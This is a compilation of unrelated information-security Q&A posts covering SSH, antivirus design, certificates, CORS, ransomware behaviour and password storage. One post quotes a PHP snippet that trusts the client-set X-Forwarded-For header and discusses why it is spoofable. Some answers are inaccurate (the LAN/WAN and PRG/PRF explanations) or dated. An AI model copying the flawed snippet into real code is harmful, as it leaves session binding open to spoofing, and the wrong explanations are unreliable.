Does SSH use one pair of keys for encryption or two pairs of keys? When SSH(OpenSSH) client connects to SSH server, then SSH server provides its public encryption key(for example /etc/ssh/ssh_host_rsa_key.pub) to SSH client so that SSH client can encrypt data sent to SSH server and SSH server can decrypt this with its corresponding private key(for example /etc/ssh/ssh_host_rsa_key). Now when SSH server sends data to SSH client, then does it encrypt data with its private key and SSH client needs to decrypt this with the corresponding public key which it received at the start of the SSH connection? Or did SSH client provide its public key to SSH server and SSH server uses this to encrypt data and SSH client will use its corresponding private key to decrypt this data?

No. The protocol is more complicated then this and you can read the whole description in RFC 4253 and similar. The host key is not used as encryption key. The host key just verifies the authenticity of the host and prevents you from Man In the Middle attack. Similar is used identity key, which is used only for authentication.

The encryption keys are created based on the key exchange (usually diffie-hellman) and there are 6 of them derived from the key material provided by key exchange. You have separate encryption key, IV (Initialization vector) and MAC key for ensuring the integrity of each message. Also you have separate key for both direction (server->client, client->server).


How are anti viruses so fast? The common anti-virus (to my knowledge) uses a kind of brute force type method where they get the hash of the file and compare it to thousands of known virus' hash. Is it just they have servers with super fast SSD and they upload the hashes to that and search really fast or am I completely wrong with my understanding of how they work?

Disclosure: I work for an anti-virus vendor.

Because most anti-virus engines were born as protecting endpoints, and even now for many of them endpoint protection is major part of business, the modern anti-virus engines are optimized for scanning endpoints. This optimization includes many things, such as:

Not scanning the files which couldn't contain infections which can infect your computer;
Remembering which files were scanned, and not scanning them again unless the files were modified;
Optimizing scans for the file types when possible - for example when scanning executables, only certain parts of it need to be scanned. This minimizes disk reads, and improves performance.

A common misconception is that AV engines use hashes. They generally do not, for three reasons:

First is that getting around hash detection is very easy and doesn't require modifying the actual malicious code at all;
Second is that using hashes does not allow you to implement any kind of proactive protection - you will only be able to detect malware which you have seen;
Calculating a hash requires the whole file to be read, while for some files (such as executables) this is not necessary. And reading the whole file on non-SSD hard drives is expensive operation - most AV engines should scan a large clean executable file faster than calculating hash on it


How's an office, house or school network map? I've been wondering, How is an office, house or school network map?

I mean, as an example, when I was at middle school, we had computer rooms, with around 20 PCs, all of them running connected in LAN (Not really sure, that's what I'm asking) using ethernet cables. All those ethernet cables went to a kind of machine, something like a gateway (I think it's called hub), but with much more ports than a home router. And then, all those "gateways" (there were more than 1 computer class) went to a kind of central server or something. That's what I can remember, could someone give me a better view of how is it usually designed?

How is this scheme different from my house network? Does the network described above have LAN/WAN or only LAN?

EDIT: I'm interested in knowing the security aspects of each network layer, and/or how they work and why are they needed.

Networking part:

There's a few types of devices in networking. At the basic level you have the host, a switch, and a router. A host would be your computer. A switch (at a basic level) allows you to talk to everyone connected to that switch. A router (again at a basic level) allows you to talk to everyone else not connected to that switch.

As for your example, your computers, the hosts, (in that room) connected to a switch. This makes it so all the computers in that room could communicate to each other if needed. That switch then would connect to a router, other rooms switches would also connect to that router. That way your room could talk to the room next door.

An example of communication. You have computer 1 and 2 in the same room and computer 3 in the room next door. If you want to communicate from computer 1 to computer 2 then the information would flow from computer 1 to the switch in the room to computer 2, because they are connected to the same switch.

If you wanted to talk to computer 3 from either computer 1 or 2 that's a bit different. Computer 1/2 cannot talk to 3 directly because it's in a different room. AKA not on the same local area network (LAN). It would be on a wide area network or a WAN. So computer 1/2 would send information to the switch into the room. From that switch it would send the information to the router. From the router it would "route" the information to the correct switch that has computer 3 connected. That switch would send the information to computer 3.

Security part:

At each layer there is some form of security. At the physical it can be said that the security is physical tampering/protecting equipment. Think behind a locked door and not exposing wiring/leaving ethernet ports open in a room.

At the data link layer you have security provided by switches which can stop the connection of non-approved layer 2 addresses, shut down ports, etc. But it also has some security in the frame itself with the cycle redundancy check which would allow it to ensure the frame is correct.

At the network layer there are too many security mechanisms to list. For your example though it would be similar to protecting the interior network (the LAN, aka each computer room) from the outside world. You would utilize a port address translation or network address translation technique to protect the interior IP addresses from exposure to the world while also allow the interior network, which is on non publicly routable (can't work on the internet) to use a publicly routable address for communication. It uses a lookup up table that maps internal addresses to the external address(es)

There are other mechanisms at the higher layers, and a bunch more at the layers i did the quick and dirty basics for, but there are books that hit that topic. entire books.

Note: I used very, very basic examples here. A LAN is any local area network, which can technically span incredible distances through use of different technologies.


How can IA-5(1)(b) be enforced on non-Windows systems? I have a question posted already for this issue in Windows systems, and thought that non-Windows systems should perhaps be covered separately.
In NIST SP 800-53 Rev. 3, IA-5 is the control addressing "Authenticator Management". The requirements in this control include such things as enforcement of password length, complexity, lifetime, history, and proper storage/transmission of passwords.
The first enhancement for this control, which is selected for all (Low/Moderate/High) systems includes this requirement:

The information system, for password-based authentication:
...
(b) Enforces at least a [Assignment: organization-defined number of changed characters] when new passwords are created;

In most systems, it's pretty easy to find and configure the rules that enforce long and complex passwords which are changed regularly and do not exactly match a certain number of old passwords.  But, how do you implement a policy that requires a certain amount of characters to be changed with every new password?
Some systems I'm interested in (feel free to address others):

Mac OS X
Linux/Unix (Any/all flavors)
Cisco IOS

The approach I would recommend for enterprises would be to integrate these systems with your directory service, which for most will be Active Directory. This way your password policy is set in a single place and it bring other benefits in managing access control and roles in a single place. You can also then provide single sign-on and two factor authentication.

Guidance on doing this:

MAC:
http://www.seminars.apple.com/contactme/pdf/L334436B_ActiveDirect_WP.pdf
Linux Ubuntu:
https://help.ubuntu.com/community/ActiveDirectoryHowto

For Cisco IOS however TACACS+ or Radias servers are the best place to set policy centrally.


Dropbear SSH server use-after-free vulnerability "This vulnerability is located within the Dropbear daemon and occurs due
to the way the server manages channels concurrency. A specially crafted
request can trigger a use after free condition which can be used to
execute arbitrary code under root privileges provided the user has been
authenticated using a public key (authorized_keys file) and a command
restriction is enforced (command option).

Solution: Upgrade to version 2012.55 or higher."

http://seclists.org/fulldisclosure/2012/Feb/403

Mercurial entry for the upgraded code: https://secure.ucc.asn.au/hg/dropbear/rev/818108bf7749

So does this means that I have to upgrade every dropbear on all my OpenWRT routers? What OpenWRT versions are affected??

Please help, it looks like an ASAP task!

The latest Open-WRT version is 2 years old now. If you have not upgraded individual services, then you will need to perform this upgrade.

From Dropbear:
"Security update 2012.55 — releases from 0.52 to 2011.54 are potentially vulnerable to code execution as root by an authenticated user if a command="..." option is used in authorized_keys. Release 2012.55 fixes the problem."

Also, consider switching to another router OS replacement that is under more active development, like DD-WRT.


Is there a ransomware variant that checks for file's magic numbers to encrypt? Is there a known ransomware-variant (Cryptolocker, Cryptowall etc.) that before encrypting the files checks for their magic numbers?

Lets say that there's a Word file, that had its file extension removed or changed to a not-popular one. We'll call it CC details (or CC details.qwerty). This file should have 50 4B 03 04 as its magic numbers.

Is there a ransomware known that will scan the contents of the file (or even just the first few lines) to see that it's really a Word file and not something blank?

I checked Google and the most that I could find was the ransomeware kovter, which does scan the file content and obfuscates the first few lines - which leads to an invalid file (doesn't really encrypt it though).
That's not really what I'm looking for (though I do think it's somewhat in the right direction).

Yes (I found a sub-version of TeslaCrypt to do that a while back) , but most will only hunt for extensions. Some have different behavior like encrypting full folders with have the majority of files of known document types.
Something as simple as having a .tx instead of .txt will many times keep your files safe.
The problem is that the methods of eliminating any backup varies a lot, but it is important to note that most of them will disable shadow copy, restore points and end-task some related services.


Difference between pseudorandom generator and pseudorandom function Is there a difference between a pseudorandom generator (PRG) and a pseudorandom function (PRF)? I read a lot about that things, for example it is possible to build a PRG from PRFs. But I think there is a difference between those two terms.

Pseudorandom generators can be used to feed a pseudorandom function family by repeatedly supplying pseudo-random values to the function. The PRF ensures semantic security, which may be used to stretch keys, initialize vectors or salts. At no point should an efficient algorithm be able to distinguish between a PRF and a random oracle. However this does not fully apply to a PRG, which only guarantees a single value to be pseudorandom. Since the pseudo-random values themselves have no correlation with the PRFs output, in theory it is possible to use a set of PRG as an input.


Does TLS 1.3 encrypt alert messages? I'm working quite some time now with TLS 1.3 implementations (OpenSSL, WolfSSL), but I can't find anywhere in the TLS 1.3 drafts if alert messages should be encrypted or not. I personally thought only alerts send after the Client- and ServerHello will be encrypted, but I could not find any proof for this.

The situation in TLS 1.3 regarding encryption of alerts is no different then with TLS 1.2. The current draft 26 includes the same statement as you can find in the RFC of TLS 1.2:

  Like other messages, alert messages are encrypted as
     specified by the current connection state.

In Appendix A you also find the state diagrams which have additional information:

  ... clients may send
     alerts that derive from post-ServerHello messages in the clear or
     with the early data keys.  If clients need to send such alerts, they
     SHOULD first rekey to the handshake keys if possible.


Security of login-data saved in browsers Most browsers provide an option to save login-data for later use.

Suppose a Windows workstation is located in a well-protected corporate LAN and only a well-defined set of application can be launched with a well restricted set of changeable in-app options.

In other words: No one is able to run arbitrary applications.

I wonder, how secure login-data is, which browsers save:

Will this data get encrypted using the current Windows login security token?
Will only the owner of the Windows account be able to access it?
Are they - assuming practical compute-power - secure?

Regarding web-application:

Should a web-app propose not to save login-data in browser.
Can a web-app even reject login-data to be saved by browsers?

Practical means this: Not having enormous compute power or a Copacobana system.

Consequences:

If not secure: Should no user ever store login data?
If secure: Should user be instructed to save login data and afterwards eliminate the media by which the password was transferred to him.

The problem with web-browsers is that they run arbitrary code sent to them by random sites and ad-networks on the Internet. Because of this they are commonly the first line of defense for keeping the badware out. Some companies choose to manage this risk by greatly restricting where employees are allowed to go.

Over the years there have been a variety of attacks focused on extracting browser-cached login credentials. All browsers have some built in way to store login info, and a couple have plugins that extend or armor this very process (1password comes to mind). Browsers that use a single master process to do most things tended to be more vulnerable to these sorts of attacks.

Browsers are a lot better about this than they used to be, but it is still a risk that needs to be managed.

One thing to note though, is that with Internet Explorer it generally wasn't possible to get the user's Security Token the same way an attacker could get the cached site-passwords since the Windows security model requires a deeper penetration for that. Once the badware has installed a couple rootkits, all bets are off though.


Is getpass.io secret-based artwork a threat? When typing a secret keyword into Getpass, a little jdenticon is showing on the right, based on the secret that was entered. The FAQ on Getpass states the following about it :

  Did you notice that secret keyword is obscured? If yes, than this is a
  way to visually represent a hash of your Secret Keyword, based on
  jdenticon library. This is the way to ensure that your Secret Keyword
  is typed correctly, without revealing the actual letters you have
  typed.

Doesn't that completely defy the purpose of obscured fields in applications ?

I get that the generated icon is based on a hash, so it's not reversible. But this still provides direct information about the password. Such information would be completely obscured if the artwork was absent.

For example, if I know the artwork of an horrible password, like 'password123', shoulder-surfing my colleague when they're typing their password on this page would already tell me that their password is/isn't 'password123'. This wouldn't happen if the artwork was absent.

Am I paranoid ? Is this something that can safely be done ?

Paranoia of authentication systems is considered the default and healthy state, here.

While you're correct that shoulder surfing is the threat model that the site is trying to mitigate, unless your cubicle-mate and evil maids already have a good idea of your password and just want to verify it, they're unlikely to know the jdenticon pattern. Someone who you share passwords with may be able to recognize an insecure password, of course, if they also use that system, so don't share passwords.

Still, some can argue that the jdenticon should be hidden by default, and only visible with explicit user interaction if you need to verify that the secret was entered correctly, just as the eye-with-a-slash icon also shows the plaintext of your secret.  If you think that shoulder surfing may be an issue, you can pre-emptively hide the jdenticon using CSS override extensions in your browser.

This is a somewhat moot point, though, as services like Getpass encourage low entropy passwords and password reuse, despite their best intentions.

With a deterministic password generator and several known (no entropy) values as its input, such as your username and the site's name, the only entropy left comes from your Getpass secret keyword. While most people won't be targets of spear phishing attacks, if you are, and attackers determine that you're using a deterministic password generator, then they can brute force that secret keyword. They won't need physical access to any of your devices, and won't trigger emails notifying you that a new/unknown device logged into your password manager.

Instead, use a password manager that generates a password from high entropy sources, and that either requires physical access, or notifies you of unexpected access.

Deterministic password managers do not add security, they only add obscurity.


How to securely store 3rd party API keys directly on web server I'm building a private web app that I plan to use between myself and a few select friends. Each of us have API keys for a 3rd party service that my web app needs to access so it can call the 3rd party service API's and return data we want to evaluate together.

Because this is a private / static web app, I don't feel the need to store these keys in a database and am hoping to store these keys directly on my web server.

If I take this route, what are the main security risks? Should I consider somehow encrypting these API keys on my web server disk and decrypting them inside my web app only when I need to use them? (if so, any guidance on this?)

I've done standard web development for a long time now, but lack terribly in my knowledge of web security. I'd appreciate any guidance or thoughts!

One recommendation would be to specify the API keys in the script running your application server. Ensure permissions of the script is execute only, owned by a dedicated user. Your application can read those keys via environment or system variables.


Is it safe to store twitter access tokens client side? After the Twitter oauth process, once I finally get my access_token_key and access_token_secret is it safe to store these in a javascript variable client side?

As far as I can work out nothing can be done with these keys without the consumer_key/consumer_secret?

Basically to avoid storing anything in the session if I need to make another API call.

As with all security considerations it helps to be clear about who you are defending and who you are defending against. Your clients are fairly safe in this environment though perhaps they could mess with you a bit.
Someone could write another twitter client and that client could pretend to be your client. If it misbehaves and Twitter bans it, you could be banned as collateral. This assumes that the Twitter API calls are being made client side so the client needs to have enough information to act on your behalf (from Twitters perspective). If you make all API calls server side and don't share your access codes then nobody can modify your client or impersonate it.

If it makes you feel better most twitter clients have this problem...


Adding SSL to existing applications We need to strengthen the network communication between our systems, a mix of Windows, Linux and Embedded devices, written in C++ and C#.

What we want to achieve is to prevent interception of our data and, if possible, prevent unauthorized connections to our systems.

We're currently looking at using SSL and I'm therefore going to throw out a few questions with hopes that someone knowledgeable wants to share their view in the matter.

What do we need to consider in practical terms?

Certificates, can they be generated on the fly, without access to a CA?
Certificate expiration - is there a limit to how long a certificate can be valid? Our systems runs for many years without user intervention and we'd like to keep it that way.
Must a CA-server be available? (No Internet access)
Must clients have their own unique certificate?
If a device can act as both server and client, does it require multiple certificates?
Can the authorization part be solved using certificates or do we need to do that via a separate user access system?

Certificates, can they be generated on the fly, without access to a CA?

For proper SSL, the client must make sure that it talks to the right server, not a fake server operated by the attacker. This requires that the client knows the server public key. The certificate is a method for offering this guarantee: the server certificate contains the server public key, and the certificate is signed by the CA. The client knows the CA public key, and thus can use it to verify the signature on the certificate, and thus gain some confidence in the veracity of the purported server public key.

If you can hardcode a copy of the server public key directly in the client, then you can skip the certificates (maybe sending a dummy certificate to keep the client library happy). This is rather inflexible in practice, e.g. if you need to change the server public key, you then have to modify all the clients.

Therefore, it is often considered a better method to actually have a CA. You can operate your own CA; be sure to guard it well (physical security is important; 95% of CA management is procedures and guards and dogs). EJBCA is an open-source software that can help in running a CA. Alternatively, buy certificates from a commercial CA: this could be a good deal since it will save a lot of time on your side.

You could generate certificates on-the-fly (traditionally "self-signed") but such an automatically generated certificate does not prove anything -- anybody can make a self-signed certificate with arbitrary contents, at any time.

  Certificate expiration - is there a limit to how long a certificate can be valid? Our systems runs for many years without user intervention and we'd like to keep it that way.

The format for certificates includes an expiry date which is encoded with ASN.1 type UTCTime or GeneralizedTime. The latter is good until year 9999 (inclusive). However, some poorly written software may have trouble with dates beyond January 19th, 2038. If you control the client code, then you can choose a SSL library that does not have such problems. In general, the SSL implementation in Windows does not suffer from the Y2038 issue, and works fine with certificates valid for a thousand years.

The official reason why certificates expire is to keep CRL small. CRL are used for revocation. Revocation is a damage containment mechanism: this is used to invalidate a certificate whose private key has been stolen. If there is no revocation mechanism, then an attacker who compromised a server once will be able to run a fake server, that all clients will accept as genuine, until the certificate expiration.

If your certificates are valid for 1000 years, and you don't use revocation, then a compromised server becomes a problem that won't solve itself for 1000 years. On the other hand, if you use revocation, then the regularly issued CRL will include the list of revoked certificates; more precisely, a CRL is the list of the serial numbers of certificates which have been revoked and are not expired yet. To prevent the CRL from growing indefinitely, expired certificates are removed from the CRL (in that sense, revocation is just "early expiration"). But this works only if certificates really expire.

Either way, certificate expiration can be useful, and must be well thought about.

(As a side note, all of this implies that clients and servers shall have a reasonably accurate notion of the current date and time -- and by "accurate" I also mean that there shall be no method by which an attacker who is in control of the network could make clients or servers assume a wrong current time.)

  Must a CA-server be available? (No Internet access)

Revocation is regular publication of fresh information about existing certificates. This can use CRL or OCSP, but, in any case, this information is short-lived (CRL publication is typically a daily operation) so some network access is needed at some point.

If server certificate issuance is a rare operation, then the CA could be split into an offline component, that is used manually to issue new certificates, and an online component (say, an OCSP responder), that answers requests from clients that want fresh revocation information.

  Must clients have their own unique certificate?

In all of the above I talked about server certificates. In basic SSL, the server has a certificate, and the client knows that it talks to the real server. However, the server has no idea who the client is. A very common method (that you have used with your Web browser, e.g. whenever you bought something on Amazon) is to have the client send some authentication data (a "password") to the server -- this is safe because at that point, the SSL tunnel is up and running, and the client knows that it is talking to the genuine server.

SSL also supports client certificates, for mutual client-server authentication at the SSL level. This is conceptually justified when the server is not the entity that is responsible for defining who is a valid client and ascertaining their physical identity.

If, in your specific context, you can use a "show the password" model, then this will be a lot simpler to manage, because issuing certificates to all clients is often a neverending stream of nightmares.

  If a device can act as both server and client, does it require multiple certificates?

Technically, the same certificate can be used for both roles, but care is needed.

A certificate is a binding between a public key and a name; software that validates a certificate needs to make sure that the certificate is a real one (signed by a trusted CA, not expired, not revoked...), and also that the name is the expected one. Usually, SSL clients, when they validate the server certificate, expect a specific server name (the one in the URL when the SSL really is HTTPS), and want that server name to appear in the certificate (this is specified in RFC 2818). So, with usual SSL libraries, you need the server certificates to include the DNS name of the server, as seen from the clients.

No such widespread convention exists in the other direction (server that validate client certificates), but the concept is still there and must be managed: all these games about certificates are about knowing who you are talking to, so names must be defined, properly recorded in the certificates, and verified.

You are theoretically free to use any naming convention as you see fit, but your SSL library may be more comfortable if, for the server-by-client validation, you use the "normal" way of having the server DNS name written in the server certificate.

  Can the authorization part be solved using certificates or do we need to do that via a separate user access system?

No. Trying to do authorization with certificates only leads to sorrow and much grinding of teeth. Don't do that. Certificates are for authentication (knowing who you talk to), not for authorization (deciding what you should allow the authenticated peer to do).


do I need to restrict origin in an API app? I have an app serving a rest-like API and an angular UI for it. Clients can use API directly or use the UI (if client is a human).

The app should return special headers as well handle OPTIONS requests properly for CORS to work with the browser and the xhr requests performed by angular to be allowed.

My question is why? What is this protecting the user from?
Another question is whether there is any security issue in allowing wildcard * all domains to access the API?
I don't care if user uses curl, or has his/her own script or has built custom UI for this API. Why should I put restrictions?

The only possible reason I can see for this is to avoid possibility of a third-party site to use credentials stored in browser to access the API. But this should be impossible unless Access-Control-Allow-Credentials: true header is set. But this can't work with a wildcard allow-origin header.

Clarification: the question is not why restrict access but why restrict origin domains when Access-Control-Allow-Credentials header is false. I'm sorry if my wording was not clear about this.

Found a blog. From it wildcard does not sound dangerous unless site is using client network as a kind of a security measure.

I can imagine somebody trying to reach into a VPN for example through victim's browser. Would require a lot of internal knowledge but if attacker is an ex-employee for example, he/she may have such knowledge also can use internal contacts and trick them into opening a rogue web page to execute the attack.


adsl modem with the most security features I am looking for the adsl modem with the most security features available. A 'least likely to be compromised', can be configured to be hack proof adsl modem with an internal firewall and other security settings like stealth mode, udp session control, allow/block protocols and services etc. The more the better.

Suggestions?

What you describe is a NAT/router, not a modem. Usually, modem is provided to you by your ISP and can also work in NAT/router mode, which is the default setting, but it can also work in bridged mode, meaning you can use your own router. So you are looking for a router. If you'd like flexibility and all the features you describe, I recommend installing PfSense on a cheap computer with 2 NICs. It is the cheapest way to get the most features out of a router. It costs about 50 kg of bread or less (older used computer).


What standards are there for mangaging high value passwords? I am leading a small team at a start-up and I am facing a dilemma with high value passwords.

I am the only one on the team who knows all the key passwords for production servers, databases ... etc. If I get run over by a bus the rest of the team has no way of getting back into all these essential services.

What standards exist for processes around deciding who should have access to high value passwords and how is it communicated and stored? How have you dealt with this issue on previous teams / start-ups.

The application we are working on stores financial data, thus my interest in "standards".

Update:

To answer some of the questions in the comments:

All Servers are RedHat Enterprise Linux
App Server is tomcat
Database is postgres
Datacenter is SSA16 certified
Dedicated Servers
Every server has three separate physical networks it is part of, production traffic in one one nic, backups on another nic, and server management on another nic.
High value passwords to secure Linux Server Passwords, SSL certificates, passwords for JKS files,  passwords for development infrastructure and deployment infrastructure such as SendGrid,stripe,Jira,source control, ... etc.

Update 2:

So far the answers are all suggesting ways of solving the problem, but are there are any standards backed by some standards body about how to do this? I will keep this question open in hopes of some one being able to name specific standards.

For maintaining Application passwords , I had come across an open source tool called CorporateVault . It is a multi-user password management web application designed for organizations to store passwords. Written in Grails, Groovy and Java.

It is a good tool to use for managing passwords


How do the Stack Exchange sites protect themselves from XSS? It seems to me that because Users can post questions and comments in them with HTML markup (possibly <script> tags), Stack Exchange sites would be very exposed to XSS attacks. How do they protect from this?

For general comments, the script tags are properly escaped, so that it's just interpreted as text instead of as actual code. In this case, that sort of thing is handled via something known as HTML encoding, where your <script> tag would get turned into &lt;script&gt; and rendered as a text string instead of interpreted as code.
That said, StackOverflow has worked on a new feature that allows executable javascript in peoples' answers: http://blog.stackoverflow.com/2014/09/introducing-runnable-javascript-css-and-html-code-snippets/
Some of the security points from the article I want to highlight:

Are Stack Snippets Safe?
Yes, as much as the web in general is safe. You are not in any more danger than you are when browsing any
site with JavaScript enabled. With that said, the snippets are running
client code in your browser, and you should always exercise caution
when running code contributed by another user.   We isolate snippets
from our sites to block access to your private Stack Exchange data:
•We use HTML5 sandboxed iframes in order to prevent many forms of
malicious attack.
•We render the Snippets on an external domain
(stacksnippets.net) in order to ensure that the same-origin policy is
not in effect and to keep the snippets from accessing your logged-in
session or cookies.
Like all other aspects of our site, Stack
Snippets are ultimately governed by the community. Because users can
still write code that creates annoying behaviors like infinite loops
or pop-ups, we disable snippets on any post that is heavily downvoted
(scoring less than -3 on Stack Overflow, -8 on Meta). If you see bad
code that you think should be disabled, downvote the post. If you see
code that is intended to be harmful (such as an attempt at phishing),
you should flag it for moderator attention.


Unrecognised and undiscoverable(?) device on home network I noticed yesterday that my home router (ASUS) was picking up an unrecognised device in it's traffic monitor function.  This is a  GUI that shows total upload/downloads by device/MAC address.

So this unrecognised MAC address is shown to be currently uploading data, at a slowish rate (around 200MB/day).  I googled the first section and found the manufacturer is Alcatel.

Before changing passwords etc I thought I'd try to discover more about it, but here's the weird thing, I can't discover it.  I have tried using nmap, looking in arp tables of various machines, broadcast pinging, I cannot see it at all. No other function on the router shows it, just the traffic monitor bit.  I've set up a wireshark capture filtering for this MAC, but nothing shows up.

So what's going on? I can still see the traffic counter going up, and it appears to be a real MAC, but it's not discoverable by any of the means I know.

Thanks in advance.

It occurred to me what this was after a couple of days. It was traffic being 'uploaded' to the router from the modem.  I googled and sure enough Alcatel provide the modems for my broadband provider (BT).


Content Security Policy against clickjacking fails with static PoC I have a doubt regarding the use of the Content Security Policy (CSP) as protection mechanism against clickjacking.

I have created an online Proof of Concept (PoC) on a web page where I put a button that loads the URL that is specified in an input field which is up and running on a server. This PoC is to test if a site is vulnerable or not, and based on that, I have tested a site which is using CSP to prevent clickjacking attacks. The result on my online PoC tell me that the site is not vulnerable because I'm not able to framing it, however, if I repeat the test using the static template provided in the OWASP site, then I'm able to see the content of the web page within the  element.

So, I feel that the site may still be vulnerable, and I would like to know your opinion.

I noticed that the CSP is not returned in the header when I use the static PoC, do you believe that the this an error in programming which makes vulnerable the site?

Has anyone experienced this before?

Since you "static PoC" is just a static file loaded from disk there is obviously no HTTP server involved. This mean there is no HTTP protocol involved in serving the data and thus no HTTP header exist where the CSP header is set. This effectively means that your static PoC for CSP is no test for CSP at all since there is no CSP policy declared in your test. And without a declared CSP policy none will be applied.


Vulnerable code suggested on OWASP? Session Hijacking Prevention

  It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

  To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

  $IP = (getenv ( "HTTP_X_FORWARDED_FOR" )) ? getenv ( "HTTP_X_FORWARDED_FOR" ) : getenv ( "REMOTE_ADDR" );

Source: https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet#Session_Hijacking_Prevention

Seems to me this code is vulnerable to IP spoofing! Right?

Edit: AFIK, X_FORWARDED_FOR is an HTTP header that is very easy for clients to set to anything they want.

This code allows an attacker who knows the victim's X-Forwarded-For: header and the victim's session ID to login as that user.  If the victim doesn't have an X-Forwarded-For: header, the attacker can put the victim's IP address in his header and the code will use that value as his legitimate IP address instead of his actual IP address.  This is the vulnerability.

In a network-sniffing scenario, the attacker gets both of these values at the same time, hence adding this code does not protect against network sniffing.
In an XSS scenario, where the attacker injects javascript to steal the user's cookie, this is usually done by causing the victim's browser to make a request to an attacker-controlled web server with the cookie value appended as a GET parameter.  The X-Forwarded-For: header of the victim would be supplied to the attacker in that request.

I haven't yet been able to think of any scenario where an attacker could obtain a victim's cookie but not be able to obtain the value of a legitimate X-Forwarded-For: header or, if no header was present, the victim's IP address.

So the answer is yes, as written, this code does nothing to improve security.  It should trust the directly connected IP address only.

Note: If your web application server is behind a reverse web proxy (such as nginx, Varnish, HAProxy, mod_proxy, Amazon ELB and many others) that always adds the connecting IP address to an X-Forwarded-For header and makes a new connection to your web application server with its own IP address, you can "trust" part of the value of this header.

Modules such as mod_rpaf or mod_remoteip for Apache can be configured with a list of trusted proxy IP addresses and will replace the value of REMOTE_ADDR with the trusted part of the X-Forwarded-For header for connections coming from those addresses.  This REMOTE_ADDR will be available in PHP as $_SERVER['REMOTE_ADDR] and will be logged in your Apache log files as the true connecting IP address.

If you don't do this (or the equivalent if you are not using Apache) then you will only ever see connections from one IP address, your reverse proxy server, and therefore all your sessions will contain the same IP address.


Key penetration from guest OS directly to hard drive Most of the key protections are used to encrypt key to protect it from malware or other tenants. What if the hypervisor "steals" my key?

If I am using a VM provided by a CSP, when I input a key to encrypt or decrypt my data, how do I know the CSP doesn't store my key and "might" snoop my data without my notice.

Do CSPs provide this kind of trust that they won't do this?
Is there a method or technique that can do key penetration from guest OS directly to hard drive so that I know no one except me can see my key?

The cloud you run your VM on is essentially the "hardware" for your system. As much as you don't have full control of the hardware you have at home you don't have full control of the virtual hardware in the cloud. As much as the vendor of your hardware at home might have placed a backdoor into your keyboard or into the BIOS etc the provider of the virtual hardware in the cloud could do this too - and it would be even easier (see VMI outside the virtual machine).

In other words: either you trust the CSP or not. In the latter case you should not use it. For a guest VM there is no protection against a malicious cloud provider.


Any there any tools like Burpsuite that fully support HTTP/2? Nowadays websites start migrating to HTTP/2, but Burpsuite hasn't fully support HTTP/2 yet. I know HTTPCanary is good and support multiple protocols like replaying HTTP2 and even TCP/UDP, but that only available in Android.
Are there any similar tools that provide the same functionality as Burpsuite that already supports HTTP/2?

Information Security SE isn't really for product recommendations, but the subject is covered pretty well in Stuart Walker: Testing HTTP/2 only web services.
The reason why the tools haven't been developed into this direction is probably because debugging HTTP/2 itself hasn't been that common with such tools. When testing web application security, the target isn't the protocol used to transmit the content, but the application. Most servers do support fallback to HTTP/1.1, and you can always put a reverse proxy in front of those that don't.


Code signing certificate for embedded application Preview:

I am developing a secured embedded application which receives a code , signed using RSA-2048 and verifies its signature before activating it using a pre-programmed public key. I want to use code-signing certification in order to verify the entity which created and signed this code. I did a research online and I didn't found any clear flow on the usage of such certificates , I have the following questions remained without a clear answer.

Questions:

1.Suppose a CA will issue such a certificate for the code , does the public key which is signing the certificate will be attached to it ? if so , what will prevent an attacker from altering this certificate and signing it with his own pair of keys ? and if not , where the public key to authenticate the certificate will come from ?

2.Do I have to parse the certificate inside the embedded application ?

3.Where can I get an example of such a certificate ?

Suppose a CA will issue such a certificate for the code , does the public key which is signing the certificate will be attached to it ?

Not directly. However, it is easily to obtain the issuer's public key by building the certificate chain, which will include all certificates in the certification path and their public keys. Normally, you don't have to write your own code for that, just use any suitable crypto framework to retrieve issuer certificate and validate the code signing certificate.

For Windows platform you should use Windows CryptoAPI, for *nix you may use OpenSSL.

  Do I have to parse the certificate inside the embedded application ?

again, not directly. Use suitable crypto frameworks and delegate them all certificate validation tasks. They will ensure if presented certificate and its chain is valid and not tampered.

  Where can I get an example of such a certificate ?

for productional environments it is preferred to purchase code signing cert from a globally trusted commercial CA.

For private scenarios you can use enterprise private PKI to obtain such certificate. Contact your systems administrator for more details.


What password-based encryption to use with standard Java 6? Which password-based encryption method should I use in Java 6? It should be as strong as possible, but work with the default security policy file (not the export restricted one which you have to download and install separately)?

My recommendation: You should try to avoid using password-based encryption, if you can possibly avoid it.  In particular, password-based encryption tends to be insecure, in practice. The problem is that it is rare for users' passwords to have enough entropy to resist dictionary attack.  Therefore, if you need encryption, you probably don't want to use password-based encryption, if there's any alternative.

A better solution is to give users a key, and use the key to encrypt or decrypt.

If you don't follow my recommendation: If you absolutely must use password-based encryption, here are some suggestions to reduce the risk somewhat:

Use PBKDF2 to derive the key from the password.  Choose a suitably large number of iterations so that the key derivation process takes, e.g., 100ms on the user's machine.  This will make it somewhat harder to perform dictionary search on the user's passphrase -- however, it does not eliminate the risk, so users must still take extra effort to choose a very long passphrase.
Do everything you can to increase the likelihood that your users use a very long passphrase.  The best approach would be to automatically generate the password for them.  I suggest choosing one with 80 bits of entropy.  If you turn this into a password that uses A-Za-z0-9 (but not O or l, to avoid confusion with 0 or 1), the resulting passphrase will be 14 characters long.  Users may not like having to deal with such a long passphrase, but they'll just have to suck it up and deal, if they want to be secure.

If you let users choose their own passphrase, most will probably pick a lower-quality passphrase.  I suggest that you include dire warnings about the risk.  You should recommend that they pick a passphrase that is at least 20 characters long, and is as random as they can make it.  You may want to provide a little app to generate a sample passphrase for them, that they can cut-and-paste and use.

Even with all your efforts, if users choose their own passphrase, many users will probably pick one that is not adequately secure.  The problem is that encryption requires passphrases that are considerably longer and stronger than the passwords you use for a web account password.  Most users probably don't know this, and anyway the annoyances of choosing a passphrase that is long and strong enough will probably deter many users from doing so and cause them to behave insecurely.

If you're getting the sense that password-based encryption is a headache to use securely, your sense is absolutely accurate.